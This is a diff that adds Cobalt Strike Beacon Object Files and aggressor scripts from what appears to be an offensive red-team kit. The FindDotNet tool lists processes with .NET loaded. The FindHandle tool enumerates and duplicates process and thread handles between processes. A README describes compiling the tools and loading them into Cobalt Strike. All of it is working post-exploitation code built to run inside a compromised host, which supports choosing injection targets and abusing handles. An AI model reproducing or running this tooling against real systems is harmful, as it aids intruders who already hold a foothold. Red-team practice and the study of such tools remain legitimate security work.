+		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
+			goto CleanUp;
+		}
+	}
+
+	hr = S_OK;
+
+CleanUp:
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
+	}
+
+	va_end(argList);
+	return hr;
+}
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+VOID BeaconOutputStreamW() {
+	STATSTG ssStreamData = { 0 };
+	SIZE_T cbSize = 0;
+	ULONG cbRead = 0;
+	LARGE_INTEGER pos;
+	LPWSTR lpwOutput = NULL;
+
+	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
+		return;
+	}
+
+	cbSize = ssStreamData.cbSize.LowPart;
+	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
+	if (lpwOutput != NULL) {
+		pos.QuadPart = 0;
+		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
+			goto CleanUp;
+		}
+
+		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
+			goto CleanUp;
+		}
+
+		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
+	}
+
+CleanUp:
+
+	if (g_lpStream != NULL) {
+		g_lpStream->lpVtbl->Release(g_lpStream);
+		g_lpStream = NULL;
+	}
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$free(g_lpwPrintBuffer); // Free print buffer.
+		g_lpwPrintBuffer = NULL;
+	}
+
+	if (lpwOutput != NULL) {
+		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
+	}
+
+	return;
+}
+
+
+
+BOOL FindDotNet() {
+	int p = 0;
+	int pid = 0;
+	char psPath[MAX_PATH];
+	HANDLE currentProc = NULL;
+	UNICODE_STRING sectionName = { 0 };
+	WCHAR ProcNumber[30];
+	OBJECT_ATTRIBUTES objectAttributes;
+	BOOL dotNetFound = FALSE;
+	LPCSTR procName;
+	WCHAR WCprocName[256];
+	
+	// resolve function addresses
+	NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
+	NtOpenSection_t pNtOpenSection = (NtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
+	if (pNtGetNextProcess == NULL || pNtOpenSection == NULL) {
+		BeaconPrintf(CALLBACK_ERROR, "Error resolving native API calls!\n");
+		return -1;		
+	}
+	
+	// Most .NET processes have a handle open to a section named \BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>.
+	WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
+	sectionName.Buffer = (PWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 500);
+
+
+	BeaconPrintToStreamW(L"\nProcess name\t\t\t\t\t\tPID\n");
+	BeaconPrintToStreamW(L"=====================================================================\n");
+
+
+	// loop through all processes
+	while (!pNtGetNextProcess(currentProc, MAXIMUM_ALLOWED, 0, 0, &currentProc)) {
+		
+		pid = KERNEL32$GetProcessId(currentProc);
+		if (pid == 0) continue;		
+
+		// convert INT to WCHAR
+		USER32$wsprintfW(ProcNumber, L"%d", pid);
+
+		// and fill out UNICODE_STRING structure
+		MSVCRT$memset(sectionName.Buffer, 0, 500);
+		MSVCRT$memcpy(sectionName.Buffer, objPath, MSVCRT$wcslen(objPath) * 2);   // add section name "prefix"
+		KERNEL32$lstrcatW(sectionName.Buffer, ProcNumber);
+		sectionName.Length = MSVCRT$wcslen(sectionName.Buffer) * 2;		// finally, adjust the string size
+		sectionName.MaximumLength = sectionName.Length + 1;		
+	
+		// try to open the section - if exists, .NET process is found
+		InitializeObjectAttributes(&objectAttributes, &sectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);
+
+		HANDLE sectionHandle = NULL;		
+		NTSTATUS status = pNtOpenSection(&sectionHandle, SECTION_QUERY, &objectAttributes);
+		
+		if (NT_SUCCESS(status)) {
+			KERNEL32$CloseHandle(sectionHandle);
+			
+			KERNEL32$K32GetProcessImageFileNameA(currentProc, psPath, MAX_PATH);
+			procName = SHLWAPI$PathFindFileNameA(psPath);
+			
+			KERNEL32$MultiByteToWideChar(CP_ACP, 0, procName, -1, WCprocName, 256);
+			BeaconPrintToStreamW(L"%-60s\t%d\n", WCprocName, pid);
+			
+			dotNetFound = TRUE;
+		}
+	}
+	
+	return dotNetFound;
+}
+
+
+int go(void) {
+	BOOL res = NULL;
+	
+	res = FindDotNet();
+	if(!res) {
+		BeaconPrintf(CALLBACK_ERROR, "No .NET process found!");
+	}
+	else {
+		//print data to CS console
+		BeaconOutputStreamW();
+	}
+	
+	
+	
+	return 0;
+}
+

+ 22 - 0
KIT/FindDotnet/finddotnet.cna

@@ -0,0 +1,22 @@
+# author REDMED-X
+
+beacon_command_register(
+	"finddotnet", "Find processes that most likely have .NET loaded.",
+	"INFO:\nFind processes that most likely have .NET loaded by searching for the section name: \BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>\n\n" .
+	"USAGE:\nfinddotnet\n\n");
+
+
+alias finddotnet {
+    $bid = $1;
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("finddotnet.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+    
+	blog($bid, "Tasked to search for processes that have .NET loaded..");
+	
+    beacon_inline_execute($bid, $data, "go", $null);
+}
+
+

+ 37 - 0
KIT/FindDotnet/finddotnet.h

@@ -0,0 +1,37 @@
+#include <windows.h>
+
+//FindDotNet
+typedef NTSTATUS (NTAPI * NtGetNextProcess_t)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle);
+typedef NTSTATUS (NTAPI * NtOpenSection_t)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
+WINBASEAPI void *__cdecl MSVCRT$memcpy(void *Dst, const void *Src, size_t MaxCount);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+DECLSPEC_IMPORT int WINAPIV WINAPI USER32$wsprintfW(LPWSTR unnamedParam1, LPCWSTR unnamedParam2, ...);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
+DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
+DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+
+
+//BeaconPrintToStreamW + BeaconOutputStreamW
+#define MAX_STRING 8192
+INT g_iGarbage = 1;
+LPSTREAM g_lpStream = (LPSTREAM)1;
+LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+
+

+ 26 - 0
KIT/FindHandle/README.md

@@ -0,0 +1,26 @@
+# FindHandle
+Find `process` and `thread` handle types between processes.
+
+## Options
+**Search options:**
+`all`: list all processes with handles to all other processes.
+`h2p`: list all processes that have a handle to a specific process.
+`p2h`: list handles from a specific process to all other processes.
+
+**Handle query options:**
+`proc`: search for PROCESS type handles.
+`thread`: search for THREAD type handles.
+
+**Targeted search options:**
+`<pid>`: for both the `h2p` and `p2h` search options, specify the PID of the process your interested in.
+
+## Usage
+`findhandle all <proc | thread>`
+`findhandle h2p <proc | thread> <pid>`
+`findhandle p2h <proc | thread> <pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/FindHandle/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 6 - 0
KIT/FindHandle/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findhandle.c
+move /y findhandle.obj findhandle.o
+dumpbin /disasm findhandle.o > findhandle.disasm
+

+ 292 - 0
KIT/FindHandle/findhandle.c

@@ -0,0 +1,292 @@
+#include <windows.h>
+#include <stdio.h>
+#include <shlwapi.h>
+#include <Psapi.h>
+#include "findhandle.h"
+#include "beacon.h"
+
+#pragma comment(lib, "shlwapi")
+
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
+	HRESULT hr = S_FALSE;
+	va_list argList;
+	DWORD dwWritten = 0;
+
+	if (g_lpStream <= (LPSTREAM)1) {
+		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
+		if (FAILED(hr)) {
+			return hr;
+		}
+	}
+
+	// For BOF we need to avoid large stack buffers, so put print buffer on heap.
+	if (g_lpwPrintBuffer <= (LPWSTR)1) { // Allocate once and free in BeaconOutputStreamW. 
+		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
+		if (g_lpwPrintBuffer == NULL) {
+			hr = E_FAIL;
+			goto CleanUp;
+		}
+	}
+
+	va_start(argList, lpwFormat);
+	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
+		hr = E_FAIL;
+		goto CleanUp;
+	}
+
+	if (g_lpStream != NULL) {
+		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
+			goto CleanUp;
+		}
+	}
+
+	hr = S_OK;
+
+CleanUp:
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
+	}
+
+	va_end(argList);
+	return hr;
+}
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+VOID BeaconOutputStreamW() {
+	STATSTG ssStreamData = { 0 };
+	SIZE_T cbSize = 0;
+	ULONG cbRead = 0;
+	LARGE_INTEGER pos;
+	LPWSTR lpwOutput = NULL;
+
+	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
+		return;
+	}
+
+	cbSize = ssStreamData.cbSize.LowPart;
+	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
+	if (lpwOutput != NULL) {
+		pos.QuadPart = 0;
+		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
+			goto CleanUp;
+		}
+
+		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
+			goto CleanUp;
+		}
+
+		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
+	}
+
+CleanUp:
+
+	if (g_lpStream != NULL) {
+		g_lpStream->lpVtbl->Release(g_lpStream);
+		g_lpStream = NULL;
+	}
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$free(g_lpwPrintBuffer); // Free print buffer.
+		g_lpwPrintBuffer = NULL;
+	}
+
+	if (lpwOutput != NULL) {
+		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
+	}
+
+	return;
+}
+
+
+
+
+BOOL GetHandles(int basePid, const BYTE flags, int targetPid) {
+
+	NTSTATUS status;
+    PSYSTEM_HANDLE_INFORMATION handleInfo;
+    ULONG handleInfoSize = 0x10000;
+    HANDLE processHandle;
+    ULONG i;
+	char procHostName[MAX_PATH];
+	BOOL foundHandle = FALSE;
+	
+	
+	if (flags == QUERY_PROC) BeaconPrintToStreamW(L"[+] PROCESS HANDLE RESULTS\n==========================================");
+	else BeaconPrintToStreamW(L"[+] THREAD HANDLE RESULTS\n==========================================");
+	
+	
+    NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
+    NtDuplicateObject_t pNtDuplicateObject = (NtDuplicateObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDuplicateObject");
+    NtQueryObject_t pNtQueryObject = (NtQueryObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryObject");
+
+	// parse which handle types extract
+	WCHAR Filter[100];
+	switch(flags) {
+		case QUERY_PROC:	MSVCRT$swprintf_s(Filter, 50, L"%s", L"Process"); break;
+		default:			MSVCRT$swprintf_s(Filter, 50, L"%s", L"Thread"); break;
+	}
+
+    handleInfo = (PSYSTEM_HANDLE_INFORMATION) MSVCRT$malloc(handleInfoSize);
+    while ((status = pNtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
+			handleInfo = (PSYSTEM_HANDLE_INFORMATION)MSVCRT$realloc(handleInfo, handleInfoSize *= 2);
+ 
+    if (status != 0) {
+        BeaconPrintf(CALLBACK_ERROR, "Failed to retrieve process information!\n");
+        return 1;
+    }
+	
+    for (i = 0 ; i < handleInfo->NumberOfHandles ; i++) {
+        SYSTEM_HANDLE_TABLE_ENTRY_INFO objHandle = handleInfo->Handles[i];
+		
+        HANDLE dupHandle = NULL;
+        POBJECT_TYPE_INFORMATION objectTypeInfo;
+        PVOID objectNameInfo;
+        UNICODE_STRING objectName;
+        ULONG returnLength;
+		
+		//Skip system processes
+		if(objHandle.UniqueProcessId == 4) continue;
+		
+		//p2h: if the process doens't match the basePid, go to the next
+        if ((basePid != 0) && (objHandle.UniqueProcessId != basePid)) continue;
+		
+		//all: for some reason handles dont fully close if the tool is finshed in COFF. This will skip all the handles from the previous enumeration task
+		if (objHandle.UniqueProcessId == KERNEL32$GetCurrentProcessId()) continue;
+ 
+ 
+		if (!(processHandle = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, objHandle.UniqueProcessId))) {
+			continue;
+		}
+ 
+		KERNEL32$K32GetProcessImageFileNameA(processHandle, procHostName, MAX_PATH);
+		
+        if (!NT_SUCCESS(pNtDuplicateObject(processHandle, (void *) objHandle.HandleValue, KERNEL32$GetCurrentProcess(), &dupHandle, 0, 0, DUPLICATE_SAME_ACCESS))) {
+            continue;
+        }
+ 
+        objectTypeInfo = (POBJECT_TYPE_INFORMATION) MSVCRT$malloc(0x1000);
+        if (!NT_SUCCESS(pNtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL))) {
+            KERNEL32$CloseHandle(dupHandle);
+            continue;
+        }
+	
+		if (!SHLWAPI$StrStrIW(Filter, objectTypeInfo->Name.Buffer)) {
+			MSVCRT$free(objectTypeInfo);
+            KERNEL32$CloseHandle(dupHandle);
+			continue;
+		}
+		
+        objectNameInfo = MSVCRT$malloc(0x1000);
+        objectName = *(PUNICODE_STRING) objectNameInfo;
+		
+		int procID = 0;
+		if (flags == QUERY_PROC) procID = KERNEL32$GetProcessId(dupHandle);
+		if (flags == QUERY_THREAD) procID = KERNEL32$GetProcessIdOfThread(dupHandle);
+
+		char procNameTemp[MAX_PATH];
+		if (procID != 0) {
+			if (flags == QUERY_THREAD) {
+				HANDLE pH = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, procID);
+				if (pH) KERNEL32$K32GetProcessImageFileNameA(pH, procNameTemp, MAX_PATH);
+				else MSVCRT$sprintf_s(procNameTemp, MAX_PATH, "%s", "non existent?");
+				KERNEL32$CloseHandle(pH);
+			}
+			else {
+				KERNEL32$K32GetProcessImageFileNameA(dupHandle, procNameTemp, MAX_PATH);
+			}
+		}
+		
+		//h2p: if the process doens't match the targetPid, go to the next
+		if (targetPid != 0 && targetPid != procID) {
+			MSVCRT$free(objectTypeInfo);
+			MSVCRT$free(objectNameInfo);
+			KERNEL32$CloseHandle(dupHandle);
+			continue;
+		}
+		
+		//if the PID of the handle is 0 or pointing to itself, skip it otherwise print output to stream
+		if(procID != 0 && objHandle.UniqueProcessId != procID) {
+			WCHAR WprocHostName[100];
+			WCHAR WprocNameTemp[100];
+			KERNEL32$MultiByteToWideChar(CP_ACP, 0, SHLWAPI$PathFindFileNameA(procHostName), -1, WprocHostName, 100);
+			KERNEL32$MultiByteToWideChar(CP_ACP, 0, SHLWAPI$PathFindFileNameA(procNameTemp), -1, WprocNameTemp, 100);
+				
+			BeaconPrintToStreamW(L"\nHandle from:\t%s [%d]\nHandle to:\t%s [%d]\nHandle object:\t%#x\nAccess rights:\t%#x\n", 
+				WprocHostName,
+				KERNEL32$GetProcessId(processHandle),
+				WprocNameTemp,
+				procID,
+				objHandle.HandleValue,
+				objHandle.GrantedAccess); //https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
+			
+			foundHandle = TRUE;
+		}
+
+        MSVCRT$free(objectTypeInfo);
+        MSVCRT$free(objectNameInfo);
+        KERNEL32$CloseHandle(dupHandle);
+    }
+ 
+    MSVCRT$free(handleInfo);
+    KERNEL32$CloseHandle(processHandle);
+	
+	return foundHandle;
+}
+
+
+int go(char *args, int len) {
+	int basePid = 0;
+	int targetPid = 0;
+	BYTE flags;
+	CHAR *search;
+	CHAR *query;
+	BOOL res = NULL;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	search = BeaconDataExtract(&parser, NULL);
+	query = BeaconDataExtract(&parser, NULL);
+
+	//BeaconPrintf(CALLBACK_OUTPUT, "search: %s\n", search); //DEBUG
+	//BeaconPrintf(CALLBACK_OUTPUT, "query: %s\n", query); //DEBUG
+
+	if (MSVCRT$strcmp(query, "proc") == 0) flags = QUERY_PROC;
+	else if (MSVCRT$strcmp(query, "thread") == 0) flags = QUERY_THREAD;
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify either proc (PROCESS_HANDLE) or 2 (THREAD_HANDLE) as handle search options.\n");
+		return 0;
+	}
+	
+	
+	if (MSVCRT$strcmp(search, "all") == 0) {
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating all processes with handles to all other processes\n");
+		res = GetHandles(0, flags, 0);
+	}
+	else if (MSVCRT$strcmp(search, "h2p") == 0) {
+		targetPid = BeaconDataInt(&parser);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating all processes that have a handle to PID: [%d]\n", targetPid);
+		res = GetHandles(0, flags, targetPid);
+	}
+	else if (MSVCRT$strcmp(search, "p2h") == 0) {
+		basePid = BeaconDataInt(&parser);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating handles from PID [%d] to all other processes\n", basePid);
+		res = GetHandles(basePid, flags, 0);
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following process search options: ht | h2p | p2h\n");
+		return 0;
+	}
+	
+	if(!res) BeaconPrintf(CALLBACK_ERROR, "No handle found for this search query!\n");
+	else  {
+		BeaconOutputStreamW();
+		BeaconPrintf(CALLBACK_OUTPUT, "\n[+] DONE");
+	}
+
+    return 0;
+}
+
+

+ 63 - 0
KIT/FindHandle/findhandle.cna

@@ -0,0 +1,63 @@
+# author REDMED-X
+
+beacon_command_register(
+	"findhandle", "Find process and thread handle types between processes.",
+	"INFO:\nFind process and thread handle types between processes.\n\nOPTIONS:\n[all]: list all processes with handles to all other processes\n[h2p]: list all processes that have a handle to a specific process\n[p2h]: list handles from a specific process to all other processes\n\nHandle Query Options:\n[proc]: search for PROCESS type handles\n[thread]: search for THREAD type handles\n\nTargeted Search Options:\n[<pid>]: for both the [h2p] and [p2h] search options, specify the PID of the process your interested in.\n\n" .
+	"USAGE:\nfindhandle all <proc | thread>\nfindhandle h2p <proc | thread> <pid>\nfindhandle p2h <proc | thread> <pid>\n\n");
+
+
+alias findhandle {
+    $bid = $1;
+    $search = $2;
+    $query = $3;
+	$pid = $4;
+	
+	if ($search eq "") {
+		berror($bid, "Please specify one of the following seach options: all | h2p | p2h\n");
+		return;
+	}
+	
+	if ($search eq "all" || $search eq "h2p" || $search eq "p2h") {
+		if ($query eq "") {
+			berror($bid, "Please specify one of the following handle types to search for: proc | thread\n");
+			return;
+		}
+		if ($query eq "proc" || $query eq "thread") {
+		
+			if ($search eq "h2p" && $pid eq "" ) {
+				berror($bid, "Please specify the pid to target a specific process.\n");
+				return;
+			}
+			if ($search eq "p2h" && $pid eq "" ) {
+				berror($bid, "Please specify the pid to target a specific process.\n");
+				return;
+			}
+		}
+		else {
+			berror($bid, "This handle type isn't supported. Please specify one of the following handle types to search for: proc | thread\n");
+			return;
+		}
+	}
+	else {
+		berror($bid, "This option isn't supported. Please specify one of the following seach options: all | h2p | p2h\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("findhandle.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+	if ($pid eq "") {
+       $arg_data  = bof_pack($bid, "zz", $search, $query);
+    }
+	else {
+		$arg_data  = bof_pack($bid, "zzi", $search, $query, $pid);
+	}
+	
+	blog($bid, "Tasked to enumerate handles..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 110 - 0
KIT/FindHandle/findhandle.h

@@ -0,0 +1,110 @@
+#include <windows.h>
+
+#define NT_SUCCESS(x) ((x) >= 0)
+#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
+ 
+#define SystemHandleInformation 16
+#define ObjectBasicInformation 0
+#define ObjectNameInformation 1
+#define ObjectTypeInformation 2
+ 
+#define QUERY_PROC		0x08
+#define QUERY_THREAD	0x10
+
+
+//GetHandles
+typedef NTSTATUS (NTAPI * NtQuerySystemInformation_t)(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
+typedef NTSTATUS (NTAPI * NtDuplicateObject_t)(HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options);
+typedef NTSTATUS (NTAPI * NtQueryObject_t)(HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
+WINBASEAPI void* __cdecl MSVCRT$malloc(size_t _Size);
+WINBASEAPI void* __cdecl MSVCRT$realloc(void* _Memory, size_t _NewSize);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcessId();
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$StrStrIW(LPCWSTR lpFirst, LPCWSTR lpSrch);
+DECLSPEC_IMPORT PCWSTR WINAPI SHLWAPI$StrStrIW(PCWSTR pszFirst, PCWSTR pszSrch);
+WINBASEAPI void __cdecl MSVCRT$free(void* _Memory);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessIdOfThread(HANDLE Thread);
+WINBASEAPI int __cdecl MSVCRT$sprintf_s(char *_Dst,size_t _SizeInBytes,const char *_Format,...);
+WINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *_Dst,size_t _SizeInWords,const wchar_t *_Format,...);
+DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...); 
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+
+//BeaconPrintToStreamW + BeaconOutputStreamW
+#define MAX_STRING 8192
+INT g_iGarbage = 1;
+LPSTREAM g_lpStream = (LPSTREAM)1;
+LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
